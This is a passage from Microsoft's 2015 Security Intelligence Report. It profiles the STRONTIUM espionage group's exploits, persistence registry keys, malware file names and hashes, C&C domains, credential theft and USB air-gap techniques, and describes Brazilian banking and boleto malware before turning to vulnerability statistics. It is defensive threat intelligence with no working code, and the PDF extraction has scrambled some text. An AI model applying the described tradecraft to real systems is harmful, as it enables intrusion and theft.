attachment Privilege escalation or sandbox escape Security feature bypass Social engineeringbased attack Java CVE-2015-2590 Microsoft Word CVE-2015-1641 Win32k CVE-2015-1701 Java CVE-2015-4902 (0-day) (0-day) (0-day) (0-day) Firefox Bootstrapped Add-on (XPI) Flash CVE-2015-3043 CVE-2015-5119 CVE-2015-7645 Microsoft Word CVE-2015-2424 ATMFD CVE-2015-2387 (0-day) (0-day) (0-day) Internet Explorer CVE-2014-1776 CVE-2014-6332 CVE-2014-3897 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY In addition to using zero-day exploits, STRONTIUM also makes use of exploits that target older vulnerabilities for which security updates have been available for a long time. Microsoft believes that in some cases, the group learns during the reconnaissance phase that the targeted institution may be exposed to risks by running older or out-of-support platforms and software, by not testing and applying security updates quickly, or by not taking advantage of the latest mitigations and defense mechanisms shipped with more recent product versions and then acts accordingly. In a development observed in October 2015, the shellcode that executes after a successful memory corruption exploit displayed a number of characteristics that researchers had not observed from the malware previously: API resolution: ROR 0x0D hashing, resolution made just before using the API Downloader: usage of HttpQueryInfo and WININET to fetch remote payloads in memory Compression: usage of ntdll!RtlDecompressBuffer()LZNT1 compression for remote payloads Privilege escalation: executed as DLL, but in-memory (diskless) Figure 6. In-memory decompression and execution of remote payloads performed by STRONTIUM shellcode In addition to relying on exploits, STRONTIUM also uses social engineering to trick victims into installing malware. Since March of 2015, for example, Microsoft has observed STRONTIUM successfully compromising Mozilla Firefox users by convincing them to install a malicious browser add-on based on a publicly available module ( Bootstrapped Addon Social Engineering Code Execution developed for the Metasploit security testing framework. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 9 Figure 7. STRONTIUM installs malware via a malicious bootstrapped add-on in Mozilla Firefox Establishing control After gaining administrative privileges on the computer through an exploit or social engineering, STRONTIUM uses a dropper to deploy a backdoor component, CORESHELL, which eventually downloads other modules. (Microsoft products sometimes detect the primary components as variants in the Win32/Foosace family, although the group has used other malware in the past.) The DLL backdoor is installed via execution of rundll32 with an export named init or InitW. The dropper deletes itself after execution, while the DLL backdoor and any additional components are typically copied under the following folders: C:\Program Files\Common Files\Microsoft Shared\MSInfo\ C:\Users\\AppData\Local\Microsoft Help\ C:\ProgramData\ The dropper also writes the command and control (C&C) configuration information to the registry or an encrypted file. This strategy complicates forensic discovery of the attacker s infrastructure if the backdoor DLL is discovered, because the configuration information must be located separately. 10 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Figure 8. Command & control configuration locations used by STRONTIUM Format Path Registry HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\ File (Windows XP) %ALLUSERSPROFILE%\msd File (other Windows) %PROGRAMDATA%\msd STRONTIUM ensures that its backdoor will run every time the computer starts by creating autostart extensibility point (ASEP) registry entries and shortcuts, which differ depending on what the attacker has chosen for the victim and which backdoor variant is used. (See Advanced Malware Cleaning Techniques for the IT Professional on page 96 of Microsoft Security Intelligence Report, Volume 11 (January June 2011), available from the Microsoft Download Center, for guidance on using Sysinternals tools to monitor ASEPs for signs of malware infection.) The most common ASEPs used by STRONTIUM for its malware include the following: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\Shell Folders\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\ShellServiceObjectDelayLoad\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Explorer\Shell Folders\ HKEY_CURRENT_USER\Environment\UserInitMprLogonScript = %ALLUSERSPROFILE%\Application Data\Microsoft\Internet Explorer\ Quick Launch\ %USERPROFILE%\Application Data\Microsoft\Internet Explorer\ Quick Launch\ The STRONTIUM backdoor is composed of several pieces with different functions. The attacker can deploy a large set of tools to perform tasks including key logging, email address and file harvesting, information gathering about the local computer, and remote communication with C&C servers. STRONTIUM also uses a component that is designed to infect connected USB storage devices, so that information can be captured from air-gapped computers that are not on MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 11 the network when a user transfers the USB device to the air-gapped computer and then back to the network again. Figure 9. Different types of STRONTIUM components and filenames used during recently observed incidents Credential stealing SSL tunnel XAPS EoP exploit DLL backdoor runrun.exe mshelpc.dll run_x86.exe svchosl.exe vmwaremanager.exe winsys.dll run_x64.exe svehost.exe ctf.exe advstorshell.exe psw.exe servicehost.exe MicrosoftSup.dll credssp.dll USB air gap backdoor SupUpNvidia.exe mfxscom.dll api-ms-win[random].dll The STRONTIUM group also appears to be active on non-Windows systems. Microsoft has seen solid indicators that STRONTIUM used malicious backdoors to take control of proxy servers, mail servers, and other systems The STRONTIUM running the Linux operating system. Microsoft also observed the group also appears group using domains that seem to be customized for different operating systems, including mac.softupdates.info and to be active on linux.softupdates.info. Although Microsoft does not generally non-Windows study attacks on non-Windows systems, a multiplatform attack systems. strategy is very much in line with what has been observed about STRONTIUM in general that they have capabilities that cover a wide range of technologies and any incident response against this adversary should take both Windows and non-Windows computers into consideration. 12 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Taking action The STRONTIUM backdoor can communicate over different network protocols, including HTTP, SMTP, and POP3. Typically, the backdoor tests its connectivity with a series of HTTP POST requests to legitimate websites, and then establishes communication with its C&C servers. The domains STRONTIUM uses for its C&C servers are typically designed The domains to avoid attracting attention if administrators notice them STRONTIUM uses when reviewing network traffic, such as softupdates.info and are designed to malwarecheck.info, suggestive of software update and malware reputation services. avoid attracting attention. In recent incidents during 2015, Microsoft observed STRONTIUM using a tunnel component designed to provide a remote encrypted interactive shell to a pre-configured IP address using proxy software on the victim s computer, such as the popular open-source Squid proxy. The tunneling module, which is customized for different targets, is slightly larger than 1 MB and is statically linked with an OpenSSL library. Based on debug information left in some samples, some researchers have reported that the name of the component may be XAPS OBJECTIVE or XTUNNEL. 4 The C&C server for this tunnel could be either hardcoded in the binary or passed as a command-line parameter at startup. Figure 10. "XAPS" in the STRONTIUM tunnel module binary Samples for this component include the items in the following table: 4 Gastbeitrag, Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag, Netzpolitik.org, June 19, 2015, https://netzpolitik.org/2015/digital-attack-ongerman-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 13 Figure 11. Known samples for the STRONTIUM XAPS tunnelling component MD5 hash SHA-1 hash File name 800af1c9d341b846a856a1e686be6a3e 0450aaf8ed309ca6baf303837701b5b23aac6f05 svehost.dll 9d86ba47a0b876cdc7fb0c9ad471cd67 64515c7ce8bcc656d54182675bd2d9ffceffe845 svchosl.exe 1957f5370d584a2acd74179340ef3005 3ec270193815fa2bd853ea251d93fdfffcbc40d6 svehost.exe f5a54476d3d05c8f0804f3d2d5818928 e5039bb420f9a3a23aaa9ee7392bd05dfee42540 svehost.exe 4ac8d16ff796e825625ad1861546e2e8 1535d85bee8a9adb52e8179af20983fb0558ccb3 servicehost.exe After gaining a foothold on one computer, STRONTIUM attempts to move laterally through the organization by compromising additional computers to gain access to more data and high-value targets. STRONTIUM uses publicly available tools such as WinExe (a remote command-line execution tool) and Mimikatz (a Windows credential gathering tool) to move between computers via methods such as Pass the Hash (PtH). In recent incidents Microsoft observed STRONTIUM using a customized version of Mimikatz that was recompiled with a privilege escalation exploit (CVE-2015-1701, addressed by Security Bulletin MS15-051) and stored captured credential information in a dedicated file, pi.log. Figure 12. A customized version of Mimikatz storing passwords in the file pi.log STRONTIUM has displayed an advanced understanding of military and classified government networks, and uses a component that is designed to extract information from air-gapped computers. This module registers a device callback 14 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY via RegisterDeviceNotification5 and receives a notification every time a USB mass storage device is inserted into a compromised computer. Depending on the variant deployed, the backdoor may simply harvest the entire contents of the USB device and save it on the local computer for later extraction, or it may also use Autorun malware to transfer itself to the device so that it can attempt to compromise any other computers it is later inserted into, including air-gapped computers.6 Figure 13. The device notification routine registered by a STRONTIUM USB module Some STRONTIUM victims have reported the presence of computers running Kali Linux on their networks. Kali Linux is a Linux distribution that combines a variety of tools for the purpose of penetration testing and security assessment. It contains tools for password attacks, sniffing & spoofing, maintaining access, hardware hacking, reverse engineering, information gathering, vulnerability analysis, wireless attacks, web application attacks, stress testing, and forensic and 5 See msdn.microsoft.com/library/windows/desktop/aa363431%28v=vs.85%29.aspx for more information about this function. 6 Changes to the way the AutoRun feature works make it more difficult for this technique to succeed in recent versions of Windows. See blogs.technet.com/b/security/archive/2011/06/27/defending-against-autorunattacks.aspx for more information. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 15 exploitation analysis. The tool lists within each category are quite extensive and the distribution is actively maintained, so that STRONTIUM can always take advantage of the latest open-source tools. STRONTIUM does not deploy this Linux distribution on an existing computer that belongs to the targeted institution; rather, it uses a VPN connection to join one of its own Kali Linux computers to the victim s network, possibly using the tunnel component that was previously deployed. This approach allows STRONTIUM to only ephemerally expose its toolset to the victim s network. Guidance STRONTIUM is a very challenging adversary for a targeted institution to defend against: it possesses a broad range of technical exploitation capabilities, significant access to resources such as previously undiscovered zero-day exploits, and the determination to keep up an attack for months or years until it succeeds. Nevertheless, there are steps an organization can take to significantly reduce its attack surface and decrease the probability of a successful compromise. STRONTIUM is a challenging adversary for a targeted institution to defend against. Stay up-to-date on vendor security updates and deploy them quickly after they are released. All of the exploits discussed in this section have been addressed by security updates from Microsoft and other vendors. STRONTIUM depends heavily on the presence of out-of-date software installations inside target institutions, so keeping software up-to-date denies the group the use of some of its most effective tools. Take advantage of the mitigations built into your software. Recent versions of Windows and other software include critical mitigations that render many of STRONTIUM s exploits ineffective when deployed. Figure 5 on page 8 lists a number of zero-day exploits that STRONTIUM has used in recent campaigns. Most of these exploits will fail if tried on a computer running the latest versions of Windows and Office, even without security updates that address the vulnerabilities: The STRONTIUM exploits that target CVE-2015-1641 and CVE-20152424, which affect Microsoft Word and have been addressed by Security Bulletins MS15-033 and MS15-070 respectively, depend on static hardcoded ROP chains that fail when address space layout randomization 16 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY (ASLR) is enabled. Office 2013 and Office 2016 both run with ASLR enabled by default, rendering these exploits ineffective. Figure 14. Snippet of the ROP chain used in the CVE-2015-2424 exploit; it fails against Office installations with ASLR enabled The exploit targeting CVE-2015-3043, a vulnerability in Adobe Flash Player addressed by Adobe Security Bulletin APSB15-06, fails in Internet Explorer running on an up-to-date installation of Windows 8.1 or Windows 10 because of Control Flow Guard, a mitigation introduced in a Windows 8.1 security update in November 2014. Control Flow Guard mitigates virtual function hijacking attempts such as the one involving the cancel() method shown in Figure 15. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 17 Figure 15. Snippet from the STRONTIUM ActionScript exploit code targeting CVE-2015-3043 in Adobe Flash Player, which fails against CFG mitigation The kernel vulnerabilities exploited by STRONTIUM (CVE-2015-1701, addressed by Security Bulletin MS15-051, and CVE-2015-2387, addressed by Security Bulletin MS15-077) could not work in Windows 8 and newer platforms running on hardware that supports Supervisor Mode Execution Protection (SMEP) and other kernel mitigations.7 In fact, the exploit is coded to abort execution if running on an operating system other than Windows 7. 7 See Exploit Mitigation Improvements in Windows 8 (https://media.blackhat.com/bh-us- 12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf) for more information. 18 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Figure 16. STRONTIUM's CVE-2015-1701 exploit terminates execution on the newest versions of Windows Enforce segregation of privileges on user accounts and apply all possible safety measures to protect Admin accounts from being compromised; STRONTIUM relies on pass-the-hash techniques and elevation of privileges to successfully move laterally across networks. See Mitigating Pass-theHash (PtH) Attacks and Other Credential Theft, Version 2, available at the Microsoft Download Center, for more information. In enterprise environments in which isolated computer networks (airgapped) and Internet connected networks co-exist, enforce strong policies to prevent sharing and usage of removable media across the air gap. Conduct enterprise software security awareness training, and build awareness about malware infection prevention. STRONTIUM heavily relies on social engineering to entice individual targets into clicking links to malware. Security training can raise awareness around this attack vector. Institute multi-factor authentication. As STRONTIUM extensively uses credential-stealing spear phishing attacks, multi-factor authentication can be an effective tool to prevent unauthorized access even if credentials are stolen. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 19 Prepare your network to be forensically ready, so that you can achieve containment and recovery if a compromise occurs. A forensically ready network that records authentications, password changes, and other significant network events can help to quickly identify affected systems. Keep personnel and personal data private. STRONTIUM uses open-source intelligence (OSINT) to obtain its initial lists of victims, which might include things like name and email address, but can expand into employment information and other items of interest. These are all pieces of information STRONTIUM can use to devise a realistic attack. The more information STRONTIUM has available, the better they can target you. Make sure your email is kept confidential and privacy settings on social media don t disclose sensitive information publicly. 20 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Focus on Brazil: Win32/Banload and Banking Malware Online banking is big business in Brazil, where more than half of all banking transactions have been made using Internetconnected devices in recent years.8 Unfortunately, the popularity of online banking in Brazil has drawn the attention of criminals, who have made the country a world capital for banking malware for the last several years. Win32/Banload, the most commonly encountered malware family in Brazil in 2Q15, is a generic detection for threats that download malware designed to steal banking credentials, which themselves are usually identified as other threats. (Encounter rates for these related threats are generally much lower than for Banload, in part because Microsoft real-time security products block Banload variants before they can download additional malware; therefore, examining Banload encounter rates is a useful proxy for understanding the banking malware problem in general.) Together, Banload Criminals have and its related families have been a major part of the made Brazil a malware problem in Brazil for nearly ten years. Distribution and trends world capital for banking malware for the last several years. Although some variants have been found to target banks elsewhere, Banload remains an almost exclusively Brazilian threat. More than 93 percent of Banload encounters in 2Q15 occurred in Brazil, and the encounter rate for Banload in Brazil was 2.1 percent in 2Q15, compared to 0.16 percent in Portugal, the location with the second highest Banload encounter rate. While Banload was the 8 Michael Oleaga, Online Banking Growing in Brazil: More Than Half Made Digital Transactions in 2013, Latin Post, April 2, 2014, http://www.latinpost.com/articles/9959/20140402/online-banking-growing-brazil-morehalf-made-digital-transactions.htm. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 21 most commonly encountered threat family in Brazil in 2Q15, it ranked just 39th worldwide. Figure 17. The top ten countries/regions encountering Win32/Banload in 2Q15 Encounter rate (percent of all reporting computers) 2.5% 2.0% 1.5% 1.0% 0.5% 0.0% Brazil Portugal Turkey Bolivia Uruguay Sweden Argentina El Salvador Colombia Azerbaijan Worldwide Banload has consistently been encountered at much higher rates in Brazil than in the rest of the world. Over the past six quarters the encounter rate for Banload in Brazil has fluctuated between 1.0 percent and 2.1 percent, while the worldwide Banload encounter rate has ranged between 0.06 percent and 0.11 percent. Despite a generally rising trend that accelerated in 2Q15, the fluctuations shown in Figure 18 are fairly typical for Banload and do not necessarily presage significantly increased encounter rates in the future. 22 WIN32/BANLOAD AND BANKING MALWARE Figure 18. Banload encounter rate trends worldwide and in Brazil, 1Q14 2Q15 Encounter rate (percent of all reporting computers) 2.5% Brazil 2.0% 1.5% 1.0% 0.5% Worldwide 0.0% 1Q14 2Q14 3Q14 4Q14 1Q15 2Q15 Propagation and technical details Threats detected as Banload are created and distributed by many different parties, who may have little or no connection to each other. Most variants operate in similar ways. Banload might be installed by other malware, or use social engineering to trick the user into launching it. After it is installed, it contacts a remote host and downloads additional files, which then attempt to steal banking credentials and transmit them back to the attacker. Banload variants have been observed to connect to many different Many Banload remote hosts, including malicious sites as well as legitimate sites that have been compromised. As with many other variants attempt to malware families, the hosts are not confined to any particular disable security region; attackers typically establish malicious hosts wherever products installed a vulnerable server can be found to compromise. on the computer. Some Banload variants check the configured system language upon installation and only download additional files if it is set to Portuguese. Although Banload usually does not attempt to steal banking credentials itself, many variants transmit other details about the computer environment to the attacker, such as the computer name, user name, and Windows version. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 23 Many Banload variants attempt to disable security products installed on the computer, including G-Buster Browser Defense, a browser add-on that many large Brazilian banks provide to their customers to protect banking sessions from malware. Some variants modify the registry so that Banload will automatically launch each time the computer is started. Win32/Banker and credential stealers The malware threats downloaded by Banload variants are often detected as Win32/Banker and Win32/Bancos. Banker and Bancos are generic detections for data-stealing trojans that capture online banking credentials, such as account names and passwords, and relay the captured information to a remote attacker. As with Banload, these threats are created by many different people who often have no connection to each other apart from their common purpose of stealing banking credentials. Banker and Bancos variants typically monitor browser activity for banking sessions involving large and well-known Brazilian banks, including: Banco Bradesco (bradesco.com.br) Banco do Brasil (bb.com.br) Banco do Estado do Rio Grande do Sul (banrisul.com.br) Banco Ita (itau.com.br) Banco Safra (safra.com.br) Banco Santander (santander.com.br) Caixa Econ mica Federal (caixa.gov.br) Citibank (citibank.com.br) HSBC (hsbc.com.br) As with Banload, many Banker and Bancos variants attempt to disable security products installed on the computer, including G-Buster Browser Defense, and modify the registry so the malware will automatically launch each time the computer is started. Win32/BrobanDel and boleto malware Another type of banking malware that has affected Brazil recently targets boletos banc rios, a popular payment method there. A boleto banc rio, usually simply called a boleto, is a payment order generated by a merchant or other 24 WIN32/BANLOAD AND BANKING MALWARE payee, similar to an invoice. Boletos are popular in Brazil because they provide a mechanism for people to pay bills or other debts without having a bank account; they can be paid in cash at a wide range of locations, including banks, post offices, and supermarkets. In recent years, online boletos have become popular: payers receive them over the Internet and can either pay them electronically from a bank account or can print them out for payment like conventional paper boletos. It is these online boletos that have been targeted by a new type of banking malware. Figure 19. An example of a boleto banc rio, a popular method of payment in Brazil Every boleto has a unique identification number that specifies the bank, payee, and amount to be paid, among other information. The identification number is printed at the top of the boleto and encoded as a barcode at the bottom. A typical boleto malware variant (often detected as Win32/BrobanDel) installs itself as a browser add-on and monitors webpages for patterns that match a boleto. When it identifies a boleto, it alters the identification number so that when the recipient pays it, the money will be paid into an account controlled by the attacker, rather than the payee s account. The malware may re-encode the barcode to match the altered number, or simply corrupt it so that it cannot be optically scanned, requiring the cashier to enter the identification number by hand. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 25 Figure 20. A malicious extension installed by Win32/BrobanDel to detect and alter boletos New variants of Banload and the other families discussed in this section are discovered every day, and variants discovered in the future may exhibit different behaviors than those described here. Visit the Microsoft Malware Protection Center encyclopedia at https://www.microsoft.com/mmpc for the latest information about this and other threats. Guidance Effectively protecting users from malware requires an active effort on the part of organizations and individuals. For in-depth guidance, see Top security solutions at the Microsoft Malware Protection Center website at www.microsoft.com/mmpc. Specific steps that IT administrators and individual users can take to protect themselves from malware include the following: Install security updates for all software as soon as is practical. Promptly installing security updates remains one of the best ways to defend against newly discovered threats. Configure computers to use Microsoft Update rather than Windows Update to automatically receive updates for a wide range of Microsoft products. Ensure that security updates from other software vendors are distributed automatically when possible. 26 WIN32/BANLOAD AND BANKING MALWARE Install a comprehensive, real-time antimalware product from a reputable vendor on all of your organization s computers, and ensure that they receive frequent, regular definition or signature file updates. Take advantage of advanced Windows security features such as User Account Control and AppLocker to prevent unauthorized programs from running without permission. Use caution when clicking links to webpages and when opening attachments to email messages. Use a web browser such as Internet Explorer or Microsoft Edge that offers advanced protection against phishing and malicious webpages. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 27 Worldwide threat assessment Vulnerabilities ............................................................................. 31 Exploits ......................................................................................... 40 Malware and unwanted software ........................................ 58 Malicious websites ................................................................... 99 30 WIN32/BANLOAD AND BANKING MALWARE Vulnerabilities Vulnerabilities, in the context of computer security, are weaknesses in software that could allow an attacker to compromise the integrity, availability, or confidentiality of the software. Some of the worst vulnerabilities allow attackers to exploit the compromised system by causing it to run malicious code without the user s knowledge. Industry-wide vulnerability disclosures A disclosure, as the term is used in the Microsoft Security Intelligence Report, is the revelation of a software vulnerability to the public at large. Disclosures can come from a variety of sources, including publishers of the affected software, security software vendors, independent security researchers, and even malware creators. The information in this section is compiled from vulnerability disclosure data that is published in the National Vulnerability Database (NVD), the US government repository of standards-based vulnerability management data at nvd.nist.gov. The NVD represents all disclosures that have a published CVE (Common Vulnerabilities and Exposures) identifier.9 Figure 21 illustrates the number of vulnerability disclosures across the software industry for each half-year period since 2H12. (See About this report on page v for an explanation of the reporting period nomenclature used in this report.) 9 CVE entries are subject to ongoing revision as software vendors and security researchers publish more information about vulnerabilities. For this reason, the statistics presented here may differ slightly from comparable statistics published in previous volumes of the Microsoft Security Intelligence Report. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 31 Figure 21. Industrywide vulnerability disclosures, 2H12 1H15 5,000 Industrywide vulnerability disclosures 4,500 4,000 3,500 3,000 2,500 2,000 1,500 1,000 2H12 1H13 2H13 1H14 2H14 1H15 After increasing significantly in 2H14, vulnerability disclosures across the industry decreased 34.7 percent in 1H15 to just under 3,000, very close to the level seen a year previously in 1H14. The large increase in disclosures in 2H14 was predominantly the result of work performed by the Computer Emergency Response Team (CERT) Coordination Center (CERT/CC) in September and October 2014 to scan Android applications in the Google Play Store for man-in-the-middle vulnerabilities using an automated tool.10 CERT/CC determined that thousands of Android apps fail to properly validate SSL certificates provided by HTTPS connections, which could allow an attacker on the same network as an Android device to perform a man-in-the-middle attack on the device.11 This project resulted in the creation of almost 1400 individual CVEs affecting thousands of different publishers of Android apps and code libraries. With no comparable research projects having been undertaken in 1H15, the total number of disclosures returned to a more typical level, as expected. 10 Will Dormann, Finding Android SSL Vulnerabilities with CERT Tapioca, Cert/CC Blog, September 3, 2014, www.cert.org/blogs/certcc/post.cfm?EntryID=204. 11 CERT Coordination Center, Vulnerability Note VU#582497: Multiple Android applications fail to properly validate SSL certificates, Vulnerability Notes Database, www.kb.cert.org/vuls/id/582497. 32 VULNERABILITIES Vulnerability severity The Common Vulnerability Scoring System (CVSS) is a standardized, platformindependent scoring system for rating IT vulnerabilities. The CVSS base metric assigns a numeric value between 0 and 10 to vulnerabilities according to severity, with higher scores representing greater severity. (See A Complete Guide to the Common Vulnerability Scoring System Version 2.0 at first.org for more information.) Figure 22. Industrywide vulnerability disclosures by severity, 2H12 1H15 3,500 Industrywide vulnerability disclosures 3,000 2,500 2,000 Medium (4 6.9) 1,500 1,000 High (7 Low (0 3.9) 2H12 1H13 2H13 1H14 2H14 1H15 Disclosures of medium-severity vulnerabilities those with CVSS scores from 4 to 7.9 dropped by nearly half from 2H14, but remained the most common type of vulnerability in 1H15. A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps in the Google Play store, explaining the rise and subsequent fall of medium-severity vulnerabilities. (See page 32 for more information about this project.) By contrast, the number of disclosures of high-severity and low-severity vulnerabilities remained mostly stable, with both categories increasing by less than 2 percent from 1H14 to 2H14. High-severity vulnerabilities accounted for the second-highest share of vulnerability disclosures in 1H15, at 32.5 percent, and low-severity vulnerabilities accounted for the smallest share, at 10.4 percent. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 33 As shown in Figure 23, the highest-severity vulnerabilities those scoring 9.9 or higher on the CVSS scale accounted for 7.6 percent of all vulnerabilities in 1H15. Figure 23. Industrywide vulnerability disclosures in 1H15, by severity Medium (4 6.9) 57.1% High (7 9.8) 24.9% High Low (0 3.9) (9.9 +) 10.4% 7.6% Vulnerability complexity Some vulnerabilities are easier to exploit than others, and vulnerability complexity is an important factor to consider in determining the magnitude of the threat that a vulnerability poses. A high-severity vulnerability that can only be exploited under very specific and rare circumstances might require less immediate attention than a lower-severity vulnerability that can be exploited more easily. The CVSS assigns each vulnerability a complexity ranking of Low, Medium, or High. (See A Complete Guide to the Common Vulnerability Scoring System Version 2.0 at first.org for more information about the CVSS complexity ranking system.) Figure 24 shows complexity trends for vulnerabilities disclosed since 2H12. Note that Low complexity in Figure 24 indicates greater risk, just as High severity indicates greater risk in Figure 22. 34 VULNERABILITIES Figure 24. Industrywide vulnerability disclosures by access complexity, 2H12 1H15 3,000 Industrywide vulnerability disclosures 2,500 2,000 Low complexity (highest risk) 1,500 Medium complexity (medium risk) 1,000 2H12 1H13 2H13 1H14 2H14 1H15 High complexity (lowest risk) Disclosures of low-complexity vulnerabilities those that are the easiest to exploit decreased slightly in 1H15, but accounted for the largest category of disclosures, at 56.3 percent of all disclosures. Medium-complexity vulnerabilities decreased 54.9 percent from 2H14 to 1H15 to account for 42.4 percent of all vulnerabilities for the period. A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps in the Google Play Store, explaining the increase and subsequent decrease of mediumcomplexity vulnerabilities. (See page 32 for more information about this project.) Disclosures of high-complexity vulnerabilities decreased slightly in 1H15, and accounted for 1.0 percent of all disclosures for the period. A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps. Operating system, browser, and application vulnerabilities Comparing vulnerabilities that affect a computer s operating system to vulnerabilities that affect other components, such as applications and utilities, requires a determination of whether the affected component is considered part of the operating system. This determination is not always simple and straightforward, given the componentized nature of modern operating systems. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 35 Some programs (media players, for example) ship by default with some operating system software but can also be downloaded from the software vendor s website and installed individually. Linux distributions, in particular, are often assembled from components developed by different teams, many of which provide crucial operating functions such as a graphical user interface (GUI) or Internet browsing. To facilitate analysis of operating system and browser vulnerabilities, the Microsoft Security Intelligence Report distinguishes among four different kinds of vulnerabilities: Core operating system vulnerabilities are those with at least one operating system platform enumeration ( ) in the NVD that do not also have any application platform enumerations ( ).12 Operating system application vulnerabilities are those with at least one /o platform enumeration and at least one /a platform enumeration listed in the NVD, except as described in the next bullet point. Browser vulnerabilities are those that affect components defined as part of a web browser, including web browsers such as Internet Explorer and Apple Safari that ship with operating systems, along with third-party browsers such as Mozilla Firefox and Google Chrome. Other application vulnerabilities are those with at least one /a platform enumeration in the NVD that do not have any /o platform enumerations, except as described in the previous bullet point. Figure 25 shows industrywide vulnerabilities for operating systems, browsers, and applications since 2H12. 12 See nvd.nist.gov/cpe.cfm for information about the Common Platform Enumeration (CPE) standard for naming information technology systems, software, and packages. 36 VULNERABILITIES Figure 25. Industrywide operating system, browser, and application vulnerabilities, 2H12 1H15 3,500 Industrywide vulnerability disclosures 3,000 2,500 2,000 Other applications 1,500 1,000 Operating system applications Core operating system Web browsers 2H12 1H13 2H13 1H14 2H14 1H15 Disclosures of vulnerabilities in applications other than web browsers and operating system applications decreased by nearly half from 2H14 to 1H15, but remained the most common type of vulnerability in 1H15, accounting for 55.6 percent of all disclosures for the period. A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps in the Google Play Store, explaining the increase and subsequent decrease of application vulnerabilities. (See page 32 for more information about this project.) Operating system application vulnerability disclosures decreased 1.5 percent from 2H14, and accounted for 19.7 percent of all disclosures in 1H15. Core operating system vulnerability disclosures increased 1.7 percent from 2H14, and accounted for 14.1 percent of all disclosures in 1H15. Browser vulnerability disclosures increased 13.2 percent from 2H14, and accounted for 10.6 percent of all disclosures in 1H15. Microsoft vulnerability disclosures Figure 26 shows trends for vulnerability disclosures affecting Microsoft products compared to the rest of the industry. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 37 Figure 26. Vulnerability disclosures for Microsoft and non-Microsoft products, 2H12 1H15 5,000 Industrywide vulnerability disclosures 4,500 4,000 3,500 3,000 Non-Microsoft 2,500 2,000 1,500 1,000 Microsoft 2H12 1H13 2H13 1H14 2H14 1H15 Microsoft vulnerability disclosures increased from 209 disclosures in 2H14 to 266 in 1H15, an increase of 27.3 percent. Guidance: Developing secure software The Security Development Lifecycle (SDL) (www.microsoft.com/sdl) is a free software development methodology that incorporates security and privacy best practices throughout all phases of the development process, with the goal of protecting software users. Using such a methodology can help reduce the number and severity of vulnerabilities in software and help manage vulnerabilities that might be discovered after deployment. Life in the Digital Crosshairs, at sdlstory.com, is a multimedia presentation that explores the genesis and development of the SDL from its origins in the Windows team s well-documented all-hands security push in the early 2000s. It includes interviews with several of the pivotal figures in the history of the SDL and Microsoft s focus on secure software. Security professionals and anyone else with an interest in secure development are likely to find the site invaluable for putting the SDL into historical context and understanding what the future holds. To learn more about how the SDL is applied in the present day, see State of Application Security: Immature Practices Fuel Inefficiencies, but Positive ROI Is Attainable - A Forrester Consulting Thought Leadership Paper Commissioned 38 VULNERABILITIES by Microsoft to learn how organizations are putting SDL techniques to work for them, and Secure Software Development Trends in the Oil & Gas Sectors for an example of how the SDL has helped one critical industry. Both papers are available from the Microsoft Download Center (www.microsoft.com/download). MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 39 Exploits An exploit is a piece of code that uses software vulnerabilities to access information on a computer or install malware. Exploits target vulnerabilities in operating systems, web browsers, applications, or software components that are installed on a computer. In some scenarios, targeted components are add-ons that may be pre-installed by the computer manufacturer before the computer is sold. A user may not even use the vulnerable add-on or be aware that it is installed. In addition, some software has no facility for updating itself, so even if the software vendor publishes an update that fixes the vulnerability, the user may not know that the update is available or how to obtain it and therefore remains vulnerable to attack.13 Encounter rate is the percentage of computers running Microsoft real-time security products that report a malware encounter. Software vulnerabilities are enumerated and documented in the Common Vulnerabilities and Exposures (CVE) list (cve.mitre.org), a standardized repository of vulnerability information. Here and throughout this report, exploits are labeled with the CVE identifier that pertains to the affected vulnerability, if applicable. In addition, exploits that affect vulnerabilities in Microsoft software are labeled with the Microsoft Security Bulletin number that pertains to the vulnerability, if applicable.14 Microsoft real-time security products can detect and block attempts to exploit known vulnerabilities whether the computer is affected by the vulnerabilities or not. For example, the CVE-2010-2568 CplLnk vulnerability has never affected Windows 8, but if a 